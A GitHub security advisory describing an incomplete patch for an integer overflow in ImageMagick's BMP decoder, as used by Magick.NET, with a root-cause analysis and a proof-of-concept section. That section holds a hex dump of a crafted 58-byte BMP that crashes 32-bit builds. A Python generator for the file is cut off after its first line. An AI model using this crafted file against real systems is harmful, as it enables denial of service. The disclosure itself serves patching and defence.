GitHub Security Advisory: GHSA-9pp9-cfwx-54rm
Package: Magick.NET-Q8-x86 (NUGET)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 14.9.0
Patched in: 14.9.0

Summary: ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Details:
## Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.

The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

**Affected Versions:**
- ImageMagick < 7.1.2-2 (originally reported)
- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**

**Platform and Configuration Requirements:**
- 32-bit systems ONLY (i386, i686, armv7l, etc.)
- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))
- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).

---

## Details(Root Cause Analysis)

### Vulnerable Code Location

**File:** `coders/bmp.c`  
**Lines:** 1120-1122 (in version 7.1.2-5)

### The Incomplete Patch

```c
// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");
```

### Why the Patch Fails

**Attack Vector (32-bit system):**
```
Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 >[PII_REDACTED]UL/1)
    return True && (0 >[PII_REDACTED])
    return True && False
    return False  ← Does NOT detect overflow!
```

**The check fails because:**
1. The overflow happens at Line 1120 (extent calculation)
2. `extent` becomes 0 due to 32-bit truncation
3. `bytes_per_line` is calculated as 0 (Line 1121)
4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)
5. Code proceeds with corrupted values → ASan crash

---

## PoC(Proof of Concept)

### Minimal 58-byte BMP File

**Hex dump:**
```
00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|
```

**Key Fields:**
- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)
- Offset 0x16: Height = `01 00 00 00` = 1
- Offset 0x1C: BPP = `20 00` = 32

### Python Generator

```python
#!/usr/bin/env python3
import struct